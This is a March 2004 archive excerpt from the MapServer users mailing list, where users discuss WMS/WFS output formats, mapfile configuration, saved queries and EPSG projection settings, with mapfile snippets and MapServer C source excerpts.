able to put this info both in the Accept header for the request and the Content-type for the returned image. I'd assume you'd be able to put the same in the format list when you do a "get capabilities" (i.e., image/tiff; color-depth=8). I have _no idea_ if anything would choke on this or not, but I think it'd be worth some research. -- Jeff Hoffmann jeff at propertykey.com From pramila at darya.nio.org Wed Mar 3 01:50:04 2004 From: pramila at darya.nio.org (Pramila R Gawas) Date: Wed, 03 Mar 2004 15:20:04 +0530 Subject: [Mapserver-users] mapserver demo help Message-ID: <4045AA4C.6030101@darya.nio.org> Hi all, I have installed mapserver in solaris system. I download mapserver demo 'itasca' from mapserver official site. I made follwoing changes in *demo_init.html* file
*demo.map* file WMS_ONLINERESOURCE "http://localhost/user/xyz/mapserver_demos/itasca/demo_init.htm" when i try to run the link http://localhost/mapserver_demos/itasca/demo_init.html in browser i am getting the error message : The requested URL /mapserver_demos/itasca/demo_init.html was not found on this server. thanks Pramila From bartvde at xs4all.nl Wed Mar 3 00:58:47 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 3 Mar 2004 09:58:47 +0100 (CET) Subject: [Mapserver-users] WFS Layer Problem In-Reply-To: <4045227B.4030609@supanet.com> References: <4045227B.4030609@supanet.com> Message-ID: <22881.212.238.227.182.1078304327.squirrel@webmail.xs4all.nl> Hi, what kind of request are you doing against the WFS? Is the GetCapabilities working on your WFS (&service=WFS&request=GetCapabilities) ? Below a setup from my server which works: WEB IMAGEPATH "/ms4w/tmp/ms_tmp/" IMAGEURL "/ms_tmp/" METADATA WMS_TITLE "Gemeentes mapserver WMS" WMS_ABSTRACT "UMN MapServer Gemeentekaart" WMS_ACCESSCONSTRAINTS none WMS_SRS "EPSG:28992" WFS_TITLE "Gemeentes mapserver WFS" WFS_ONLINERESOURCE "http://myserver/cgi-bin/mapserv.exe?map=/ms4w/apps/general/map/gemeentes.map" WFS_SRS "EPSG:28992" OWS_SCHEMAS_LOCATION "http://ogc.dmsolutions.ca" END END LAYER DATA "Nlge_r98" METADATA WMS_TITLE "Gemeentes" WMS_ABSTRACT "Gemeentes via UMN Mapserver" WMS_SRS "EPSG:28992" WFS_TITLE "Gemeentes" END NAME "Gemeentes" SIZEUNITS PIXELS STATUS ON TOLERANCE 0 TOLERANCEUNITS PIXELS TYPE POLYGON DUMP TRUE TEMPLATE "blank.html" UNITS METERS CLASS NAME "Foreign Lands" STYLE MAXSIZE 100 MINSIZE 1 OUTLINECOLOR 255 0 0 SIZE 1 SYMBOL 0 END END END Best regards, Bart > Hi All, > > I'm trying to set up a map file to serve up a WFS layer. I think I've > set all the metadata tags specified in the HOWTO but I get a GIF output, > not GML. I'm using v4.0 on Windows. Here's the mapfile:- > > MAP > DEBUG TRUE > NAME "FIRST" > SHAPEPATH "F:\CDS Project\Mapping\shp\" > EXTENT 270000 180000 290000 200000 > SIZE 600 600 > UNITS METERS > WEB > IMAGEPATH "F:\CDS Project\Working\Dev\MapServer\tmp\" > IMAGEURL "/CDSproj/Dev/MapServer/tmp/" > LOG "F:\CDS Project\Working\Dev\MapServer\MapServer.log" > METADATA > "wfs_title" "WFS Demo - CDS Project" > "wfs_onlineresource" > "http://localhost/cgi-bin/mapserv_40.exe?map=F:/CDS%20Project/Working/Dev/MapServer/firstWFS.map" > "wfs_srs" "EPSG:27700" > "ows_schemas_location" > "http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd" > END > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # UrbanAreas polygon layer begins here > NAME UrbanAreas > DATA UrbanAreas > STATUS DEFAULT > TYPE POLYGON > DUMP TRUE > > CLASS > STYLE > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > END # UrbanAreas polygon layer ends here > # End of LAYER DEFINITIONS ------------------------------- > END # end of map file/object > > Can anybody see what else needs to be added to force the output to GML? > > Thanks, > > Keith > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ms57 at streamyx.com Wed Mar 3 04:54:28 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Wed, 03 Mar 2004 20:54:28 +0800 Subject: [Mapserver-users] savequery Message-ID: <003601c4011e$aa6a33f0$b8815fdb@maps> I'm using mapserver 4.0. I sue a javascript function to test finding a lake - see my hidden values & function below. I set the savequery="true", and the query file (eg.DEMO10783178743172.qy) does get saved in the tmp directory. However, when I interact with my map again, say "zoomout", the highlighted border around the lake polygon dissapears. I wish to keep it there until the user clears it using a javascript function. Does it have anything to do with the MAP_IMAGETYPE? Thanks, Steve function findLake(){ document.mapserv.mode.value = "itemquery"; document.mapserv.savequery.value = "true"; document.mapserv.qlayer.value = "LAKE_QUERY"; document.mapserv.qstring.value = "BOWSTRING"; document.mapserv.mapext.value = "shapes"; document.mapserv.buffer.value = "1000"; document.mapserv.submit(); } From ed at topozone.com Wed Mar 3 06:33:07 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 09:33:07 -0500 Subject: [Mapserver-users] WMS Problems... Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E3D@mercator.topozone.com> Steve - I am not aware of any way to support multiple variants of one image-type in a single WMS map file. I might be wrong, but I worked at it, couldn't figure it out, and went for an alternative solution. I maintain multiple, duplicate MAP files that are identical except for the style of the image type, so I've got one set for 8-bit PNG, one for 24-bit PNG, etc. and select the output by selecting the correct MAP file. Not pretty, but the only way I know how. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Tuesday, March 02, 2004 6:38 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] WMS Problems... Hi Folks: I'm running into a few WMS issues that perhaps others have witnessed (this is all MapServer 4.0, w/GDAL and Proj): - In a GetCapabilties request (version 1.1.1) tiff is showing up as an output format even though a tiff output format is not set. GetMap requests wanting tiff output subsequently fail. Seems to work (I get a file and not an error) if I add a tiff output format. For some reason I thought there was a default tiff format but if so it ain't working. - In a GetCapabilties request (version 1.0.0) I can't seem to extend the list of output formats by defining more of them in the map file. I always and up with the 4 standard GD formats, but at least tiff ain't there. ;-) - How would one advertise the ability to create DIFFERENT tiff formats? (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one or the other. I've tried creating 2 output formats but that doesn't seem to have any effect, nor can I or a user choose one. Steve _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric.berne at innetis.com Wed Mar 3 07:35:34 2004 From: eric.berne at innetis.com (eric.berne at innetis.com) Date: Wed, 3 Mar 2004 16:35:34 +0100 Subject: [Mapserver-users] Map Server 3 to MapServer 4 Message-ID: Hi. All new to MapServer, i had to install a working application (MapServer 3) on a new server running MapServer 4. A few hedakes later, everything works fine. Except for one thing: I have several CLASS objects in my .map file Each of them has a TEMPLATE section with a template query HTML file. But when the users click on the map, the same query occurs ever and ever, wherever they have clicked. I may have missed a syntax update as i did with the STYLE attribute, but i can't find any help on this. Here is an extract of my .map file: The "colonias_query.html" is the file that always shows up. LAYER NAME Colonias TYPE Polygon DATA Colonias STATUS DEFAULT TRANSPARENCY 0 HEADER "colonias_header.html" FOOTER "colonias_footer.html" LABELITEM "COLONIA" LABELMAXSCALE 12000 CLASS NAME "COLONIAS seleccion" TEMPLATE "colonias_query.html" #COLOR 255 255 255 OUTLINECOLOR 0 0 255 SIZE 10 NAME "Colonias" LABEL COLOR 255 0 0 SHADOWCOLOR 220 220 220 SHADOWSIZE 1 1 TYPE TRUETYPE FONT fritqat-bold MAXSIZE 14 MINSIZE 8 ANTIALIAS TRUE POSITION LL PARTIALS FALSE MINDISTANCE 50 END END END # Layer LAYER NAME Rutas DATA RutasPap TYPE line STATUS off HEADER "rutas_header.html" FOOTER "rutas_footer.html" CLASSITEM "TIPORUTA" CLASS NAME "RECOLECCION" EXPRESSION "RECOLECCION" TEMPLATE "rutas_query.html" SYMBOL 'Circle' Size 5 COLOR 0 255 0 END CLASS NAME "LAVADO" EXPRESSION "LAVADO" TEMPLATE "rutas_query.html" SYMBOL 'Circle' Size 5 COLOR 255 255 0 END END Thanks in advance Eric From fx.gamoy at mapxplore.com Wed Mar 3 03:17:20 2004 From: fx.gamoy at mapxplore.com (FX Gamoy) Date: Wed, 3 Mar 2004 12:17:20 +0100 Subject: [Mapserver-users] looking for tolinux.exe and tomsdos.exe Message-ID: <005c01c40111$18d0b7a0$0102a8c0@polo> This is a multi-part message in MIME format. ------=_NextPart_000_0059_01C40119.7A35C190 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello i am looking for an util (on window or dos platform) in order to = translate windows text files into linux text files. i would like this util is able to perform all the files of a directory.. a few month ago i have used tolinux.exe util but i can't find it anymore = on my computers...=20 Any help wil be appreciated... Thanks.. fx ------=_NextPart_000_0059_01C40119.7A35C190 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello
 
i am looking for an util (on window or = dos=20 platform) in order to translate windows text files into linux text=20 files.
i would like this util is able to = perform all the=20 files of a directory..
 
a few month ago i have used tolinux.exe = util but i=20 can't find it anymore on my computers...
 
Any help wil be = appreciated...
Thanks..
fx
------=_NextPart_000_0059_01C40119.7A35C190-- From christophe.javoy at aurg.asso.fr Wed Mar 3 07:42:57 2004 From: christophe.javoy at aurg.asso.fr (christophe javoy) Date: Wed, 3 Mar 2004 16:42:57 +0100 Subject: [Mapserver-users] =?iso-8859-1?Q?afficher_le_r=E9sultat_d=27une_queryByAttributes?= Message-ID: <61876C0F933AA84DAB656B12B04F50A31E8D35@ruff.aurg.lan> This is a multi-part message in MIME format. ------_=_NextPart_001_01C40136.33820464 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Est-il possible d'afficher uniquement le r=E9sultat d'une query dans une = nouvelle fen=EAtre ? Je n'arrive qu'=E0 avoir la couche entii=E8re et pas seulement les = objets. Christophe ------_=_NextPart_001_01C40136.33820464 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message
Est-il = possible=20 d'afficher uniquement le r=E9sultat d'une query dans une nouvelle = fen=EAtre=20 ?
Je = n'arrive qu'=E0=20 avoir la couche entii=E8re et pas seulement les = objets.
Christophe
=00 ------_=_NextPart_001_01C40136.33820464-- From ARyan at co.linn.or.us Wed Mar 3 07:54:44 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Wed, 3 Mar 2004 07:54:44 -0800 Subject: [Mapserver-users] savequery Message-ID: <614FCE5F14A6D41180C200010240D6A23FC909@LINNMS> Steve, You'll need to use the 'queryfile' CGI variable on any subsequent call using mode browse or nquery. Check out the Mapserver CGI Reference. Adam -----Original Message----- From: Steve McCrone [mailto:ms57 at streamyx.com] Sent: Wednesday, March 03, 2004 4:54 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] savequery I'm using mapserver 4.0. I sue a javascript function to test finding a lake - see my hidden values & function below. I set the savequery="true", and the query file (eg.DEMO10783178743172.qy) does get saved in the tmp directory. However, when I interact with my map again, say "zoomout", the highlighted border around the lake polygon dissapears. I wish to keep it there until the user clears it using a javascript function. Does it have anything to do with the MAP_IMAGETYPE? Thanks, Steve function findLake(){ document.mapserv.mode.value = "itemquery"; document.mapserv.savequery.value = "true"; document.mapserv.qlayer.value = "LAKE_QUERY"; document.mapserv.qstring.value = "BOWSTRING"; document.mapserv.mapext.value = "shapes"; document.mapserv.buffer.value = "1000"; document.mapserv.submit(); } _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From tomko at gku.sk Wed Mar 3 08:12:26 2004 From: tomko at gku.sk (Tomko) Date: Wed, 3 Mar 2004 17:12:26 +0100 Subject: [Mapserver-users] Mapserver as WMS server issues In-Reply-To: <20040302180009.29440.39246.Mailman@lists.gis.umn.edu> Message-ID: <000601c4013a$5834e910$d90510ac@aisgkk> Dear List, Just few questions related to the behavior of the UMN as a WMS compliant server (I am using the windows binary release 4.0.1) - it states that the version is 1.1.0. Is the 1.1.1 version of WMS going to be supported in the new release of UMN (4.1)? - PROJ - I am using EPSG 4156 datasets (Czech and Slovak Republic). It has empty values in the Proj release coming with the Mapserver download. Can I a/ simply add the values as stated in the EPSG database (EPSG.org) in the epsg file... Is this possible? Is it possible to download a new version of PROJ from the remotesensing website (ok, I did not check if it contains the values, but in principle) and just copy it to c>/ as done until now, or do I have to install (binary release) or compile it with mapserver??? Last WMS related question: In the wiki WMS part, it is stated that I should test the capabilities of my server with the following statement (I substituted my values) http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m aplist/maplist.map&GetCapabilities Which of course doesn't lead anywhere. I thing that the query should be (a functional one): http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m aplist/maplist.map&request=GetCapabilities So we should probably correct the part in the wiki. /oh, to mention - what is the strange ampersand escaping at the end of the OnlineResource tag good for, it causes that strange "...map=/maplist/maplist.map&&" output in the capabilities request!! Thanks Martin From fx.gamoy at mapxplore.com Wed Mar 3 08:46:36 2004 From: fx.gamoy at mapxplore.com (FX Gamoy) Date: Wed, 3 Mar 2004 17:46:36 +0100 Subject: [Mapserver-users] looking for tolinux.exe and tomsdos.exe References: <005c01c40111$18d0b7a0$0102a8c0@polo> <4045FFB8.4010109@ci.stpaul.mn.us> Message-ID: <002d01c4013f$183991d0$0102a8c0@polo> hello thanks for your post i would like to find the same for win32 plateform thanks fx ----- Original Message ----- From: "Bob Basques" To: "FX Gamoy" Sent: Wednesday, March 03, 2004 4:54 PM Subject: Re: [Mapserver-users] looking for tolinux.exe and tomsdos.exe > FX Gamoy wrote: > > > Hello > > > > i am looking for an util (on window or dos platform) in order to > > translate windows text files into linux text files. > > i would like this util is able to perform all the files of a directory.. > > > > a few month ago i have used tolinux.exe util but i can't find it > > anymore on my computers... > > > > Any help wil be appreciated... > > Thanks.. > > fx > > will DOS2UNIX or UNIX2DOS work for you? > > Try typing "man dos2unix" or "man unix2dos" in the Linux Shell, Redhat > 9 has these commands. > > bobb > > > From warmerdam at pobox.com Wed Mar 3 08:39:58 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 03 Mar 2004 11:39:58 -0500 Subject: [Mapserver-users] Mapserver as WMS server issues In-Reply-To: <000601c4013a$5834e910$d90510ac@aisgkk> References: <000601c4013a$5834e910$d90510ac@aisgkk> Message-ID: <40460A5E.60705@pobox.com> Tomko wrote: > - PROJ - I am using EPSG 4156 datasets (Czech and Slovak Republic). It > has empty values in the Proj release coming with the Mapserver download. > Can I > a/ simply add the values as stated in the EPSG database (EPSG.org) in > the epsg file... Is this possible? > > Is it possible to download a new version of PROJ from the remotesensing > website (ok, I did not check if it contains the values, but in > principle) and just copy it to c>/ as done until now, or do I have to > install (binary release) or compile it with mapserver??? Tomko, You can freely update the epsg file yourself. Any newly added values (following the pattern you see) should thereafter work as SRS's. Of course, that presumes that PROJ.4 can represent the coordinate system you are working with. In particular, some Czeck systems use unusual axis orientations that are somewhat problematic, as well as prime meridian issues. > Last WMS related question: > In the wiki WMS part, it is stated that I should test the capabilities > of my server with the following statement (I substituted my values) > > http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m > aplist/maplist.map&GetCapabilities > > Which of course doesn't lead anywhere. I thing that the query should be > (a functional one): > > http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m > aplist/maplist.map&request=GetCapabilities > > So we should probably correct the part in the wiki. That's why it is a wiki, so you can fix stuff that's wrong! Go ahead. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From bartvde at xs4all.nl Wed Mar 3 08:58:46 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 3 Mar 2004 17:58:46 +0100 (CET) Subject: [Mapserver-users] Mapserver as WMS server issues In-Reply-To: <000601c4013a$5834e910$d90510ac@aisgkk> References: <20040302180009.29440.39246.Mailman@lists.gis.umn.edu> <000601c4013a$5834e910$d90510ac@aisgkk> Message-ID: <14452.212.238.227.182.1078333126.squirrel@webmail.xs4all.nl> Hi Martin, answers inline. > Dear List, > Just few questions related to the behavior of the UMN as a WMS compliant > server (I am using the windows binary release 4.0.1) > > - it states that the version is 1.1.0. Is the 1.1.1 version of WMS going > to be supported in the new release of UMN (4.1)? WMS version 1.1.1 will be supported by Mapserver 4.2. It is already in the current CVS version I guess. > > - PROJ - I am using EPSG 4156 datasets (Czech and Slovak Republic). It > has empty values in the Proj release coming with the Mapserver download. > Can I > a/ simply add the values as stated in the EPSG database (EPSG.org) in > the epsg file... Is this possible? If this is a 2D coordsys you can normally simply add the parameters to the EPSG file which comes with Mapserver. > > Is it possible to download a new version of PROJ from the remotesensing > website (ok, I did not check if it contains the values, but in > principle) and just copy it to c>/ as done until now, or do I have to > install (binary release) or compile it with mapserver??? > > Last WMS related question: > In the wiki WMS part, it is stated that I should test the capabilities > of my server with the following statement (I substituted my values) > > http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m > aplist/maplist.map&GetCapabilities You're right, this is a mistake in the Wiki. But the nice thing about a Wiki is that you can even update it yourself :-) > > Which of course doesn't lead anywhere. I thing that the query should be > (a functional one): > > http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m > aplist/maplist.map&request=GetCapabilities > > So we should probably correct the part in the wiki. > > /oh, to mention - what is the strange ampersand escaping at the end of > the OnlineResource tag good for, it causes that strange > "...map=/maplist/maplist.map&&" output in the capabilities request!! > The OGC WMS spec states that all online resources should end with ? or &, so that a client can always append its parameters directly after the online resource (it does not need more logic to see if it needs to append a & first). Hope this helps. Best regards, Bart > Thanks > > Martin > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mappington at yahoo.com Wed Mar 3 09:20:37 2004 From: mappington at yahoo.com (Map Guy) Date: Wed, 3 Mar 2004 09:20:37 -0800 (PST) Subject: [Mapserver-users] Distance Calculation Message-ID: <20040303172037.82111.qmail@web61109.mail.yahoo.com> --0-1484848469-1078334437=:81026 Content-Type: text/plain; charset=us-ascii We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-1484848469-1078334437=:81026 Content-Type: text/html; charset=us-ascii
We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-1484848469-1078334437=:81026-- From Richard.Pierce at mail.state.ar.us Wed Mar 3 09:31:21 2004 From: Richard.Pierce at mail.state.ar.us (Richie Pierce) Date: Wed, 3 Mar 2004 11:31:21 -0600 Subject: [Mapserver-users] workshop dhtml Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C40145.57FF9BA8 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I have downloaded the workshop data for the dhtml rubberband zoom. It runs great with the Itasca data and it is exactly what we are looking for. I am running into a problem when I try and replace the Itasca data with our local data. This is the first Javascript I have looked at so I am still trying to follow what the page is doing. When I go through the map file and replace the layers with local data, as well as going through the itasca_adds_dhtml.html and adjusting the javascript to point to the local data. I am getting an 'args' not defined error in the browser and the image for the map and the reference map are the red_pixel.gif. Any ideas would be greatly appreciated. =20 Richie Pierce =20 ------_=_NextPart_001_01C40145.57FF9BA8 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I have downloaded the workshop data for the dhtml = rubberband zoom.  It runs great with the Itasca data = and it is exactly what we are looking for.  I am running into a problem when = I try and replace the Itasca data with our local = data.  This is the first Javascript I have looked at so I am still trying to = follow what the page is doing.  When I go through the map file and replace the = layers with local data, as well as going through the itasca_adds_dhtml.html and adjusting the javascript to point to the local data.  I am getting = an ‘args’ not defined error in the browser and the image for the map and the = reference map are the red_pixel.gif.  Any ideas would be greatly = appreciated.

 

Richie Pierce

 

=00 ------_=_NextPart_001_01C40145.57FF9BA8-- From steve.lime at dnr.state.mn.us Wed Mar 3 09:50:17 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 03 Mar 2004 11:50:17 -0600 Subject: [Mapserver-users] WMS Problems... Message-ID: Note that the MapServer version is 4.1 (a week or two old) and not 4.0. Anyway, I've created 2 stripped down versions of the mapfile. One with output formats: OUTPUTFORMAT NAME geotiff_24bit MIMETYPE "image/tiff" DRIVER "GDAL/GTiff" IMAGEMODE RGB END OUTPUTFORMAT NAME geotiff_8bit MIMETYPE "image/tiff" DRIVER "GDAL/GTiff" IMAGEMODE PC256 END and one without. Here are the links to the capabilties (switch to your favorite version): http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_outputformat.map&version=1.0.0&request=GetCapabilities http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_no_outputformat.map&version=1.0.0&request=GetCapabilities With WMS 1.0.0 tiff never shows up as an output format. With WMS 1.1.x tiff is always always there. Here are GetMap URLs against the two mapfiles: http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_outputformat.map&version=1.1.0&request=GetMap&layers=L380000020906&exceptions=inimage&format=tiff&width=500&height=500 http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_no_outputformat.map&version=1.1.0&request=GetMap&layers=L380000020906&exceptions=inimage&format=tiff&width=500&height=500 In the first example an image is created. The second example generates an exception. What's also interesting is that if you switch to WMS 1.0.0 and hit the mapfile with OUTPUTFORMAT definitions you can create a tiff even though the capabilities document doesn't list the format. I was under the impression that there was some connection between OUTPUTFORMAT and WMS supported formats, or at least is seems like there should be. Steve >>> Frank Warmerdam 3/2/2004 9:13:39 PM >>> Steve Lime wrote: > Hi Folks: I'm running into a few WMS issues that perhaps others have > witnessed (this is all MapServer 4.0, w/GDAL and Proj): > > - In a GetCapabilties request (version 1.1.1) tiff is showing up as an > output format even though a tiff output format is not set. GetMap > requests wanting tiff output subsequently fail. Seems to work (I get a > file and not an error) if I add a tiff output format. For some reason I > thought there was a default tiff format but if so it ain't working. Steve, I would assume the TIFF that is showing up is from GDAL. I don't know why the built-in GDAL/GTiff output format definition wouldn't work the same as one you define yourself. Can you produce a smallish example to demonstrate the problem? > - In a GetCapabilties request (version 1.0.0) I can't seem to extend > the list of output formats by defining more of them in the map file. I > always and up with the 4 standard GD formats, but at least tiff ain't > there. ;-) What kinds of OUTPUTFORMAT definition are you using that isn't showing up? > - How would one advertise the ability to create DIFFERENT tiff formats? > (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one or > the other. I've tried creating 2 output formats but that doesn't seem to > have any effect, nor can I or a user choose one. Good question. As things stand you could have several output format definitions using the GeoTIFF driver, but with different names. As things stand I think the WMS server code allows formats to be selected by mime type (first matching ... formats declared in the .map file take precidence over implicit definitions) or by the output format name. However, I think (not so sure on this point) that only the mime types are listed in the capabilities document, so variations on the same format aren't going to be visible externally. It seems to me there is some way of adding options to mime types. Perhaps we could have something like a mime type of "image/tiff+24bit" or something. Anyone know more about this? Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Wed Mar 3 10:06:28 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 03 Mar 2004 13:06:28 -0500 Subject: [Mapserver-users] WMS Problems... In-Reply-To: References: Message-ID: <40461EA4.7010105@pobox.com> Steve Lime wrote: > Note that the MapServer version is 4.1 (a week or two old) and not 4.0. > > Anyway, I've created 2 stripped down versions of the mapfile. One with > output formats: > > OUTPUTFORMAT > NAME geotiff_24bit > MIMETYPE "image/tiff" > DRIVER "GDAL/GTiff" > IMAGEMODE RGB > END > > OUTPUTFORMAT > NAME geotiff_8bit > MIMETYPE "image/tiff" > DRIVER "GDAL/GTiff" > IMAGEMODE PC256 > END > > and one without. Here are the links to the capabilties (switch to your > favorite version): > > http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_outputformat.map&version=1.0.0&request=GetCapabilities > > http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_no_outputformat.map&version=1.0.0&request=GetCapabilities > > With WMS 1.0.0 tiff never shows up as an output format. With WMS 1.1.x > tiff is always always there. Steve, OK, looking in the code I see the following logic. Basically, because the WMS 1.0.0 format names are ideosyncratic I guess someone (perhaps me?) made the decision to just hardcode and support a few formats. While for later versions of the protocol the formats are actually determined from the declared (internally or via .map file) OUTPUTFORMATs. if (strcasecmp(wmtver, "1.0.7") <= 0) { // WMS 1.0.0 to 1.0.7 - We don't try to use outputformats list here for now msWMSPrintRequestCap(wmtver, "Map", script_url_encoded, "" #ifdef USE_GD_GIF "" #endif #ifdef USE_GD_PNG "" #endif #ifdef USE_GD_JPEG "" #endif #ifdef USE_GD_WBMP "" #endif , NULL); msWMSPrintRequestCap(wmtver, "Capabilities", script_url_encoded, "", NULL); msWMSPrintRequestCap(wmtver, "FeatureInfo", script_url_encoded, "", NULL); } else { char *mime_list[20]; // WMS 1.0.8, 1.1.0 and later // Note changes to the request names, their ordering, and to the formats msWMSPrintRequestCap(wmtver, "GetCapabilities", script_url_encoded, "application/vnd.ogc.wms_xml", NULL); msGetOutputFormatMimeList(map,mime_list,sizeof(mime_list)/sizeof(char*)); msWMSPrintRequestCap(wmtver, "GetMap", script_url_encoded, mime_list[0], mime_list[1], mime_list[2], mime_list[3], mime_list[4], mime_list[5], mime_list[6], mime_list[7], mime_list[8], mime_list[9], mime_list[10], mime_list[11], mime_list[12], mime_list[13], mime_list[14], mime_list[15], mime_list[16], mime_list[17], mime_list[18], mime_list[19], NULL ); pszMimeType = msLookupHashTable(map->web.metadata, "WMS_FEATURE_INFO_MIME_TYPE"); if (pszMimeType && strcasecmp(pszMimeType, "NONE") == 0) msWMSPrintRequestCap(wmtver, "GetFeatureInfo", script_url_encoded, "text/plain", "application/vnd.ogc.gml", NULL); else if (pszMimeType) msWMSPrintRequestCap(wmtver, "GetFeatureInfo", script_url_encoded, "text/plain", pszMimeType, "application/vnd.ogc.gml", NULL); else msWMSPrintRequestCap(wmtver, "GetFeatureInfo", script_url_encoded, "text/plain", "text/html", "application/vnd.ogc.gml", NULL); } There are a couple of issues here. One is, should we fix 1.0.0 WMS support to emit entries for all declared formats? Perhaps using the name of the outputformat converted to upper case? This would give us the "well known" names for the default GIF, PNG and JPEG formats and would allow arbitrary other formats to be listed. The other issue is that there is currently no way to prevent the various internally declared formats from appearing. Basically, all the standard formats (if built in) will appear regardless of what output formats are declared in the map file. The predefined ones are listed here (from mapoutput.c): /************************************************************************/ /* msApplyDefaultOutputFormats() */ /************************************************************************/ void msApplyDefaultOutputFormats( mapObj *map ) { char *saved_imagetype; if( map->imagetype == NULL ) saved_imagetype = NULL; else saved_imagetype = strdup(map->imagetype); if( msSelectOutputFormat( map, "gif" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/GIF" ); if( msSelectOutputFormat( map, "png" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/PNG" ); if( msSelectOutputFormat( map, "png24" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/PNG24" ); if( msSelectOutputFormat( map, "jpeg" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/JPEG" ); if( msSelectOutputFormat( map, "wbmp" ) == NULL ) msCreateDefaultOutputFormat( map, "GD/WBMP" ); if( msSelectOutputFormat( map, "swf" ) == NULL ) msCreateDefaultOutputFormat( map, "swf" ); if( msSelectOutputFormat( map, "imagemap" ) == NULL ) msCreateDefaultOutputFormat( map, "imagemap" ); if( msSelectOutputFormat( map, "pdf" ) == NULL ) msCreateDefaultOutputFormat( map, "pdf" ); if( msSelectOutputFormat( map, "GTiff" ) == NULL ) msCreateDefaultOutputFormat( map, "GDAL/GTiff" ); if( map->imagetype != NULL ) free( map->imagetype ); map->imagetype = saved_imagetype; } These built-ins can be overridden with a new definition by using the same name in an outputformat declaration in the .map file, but they can't be deleted (if you only wanted GeoTIFF support for instance). This was something that flipflopped a bit during development. 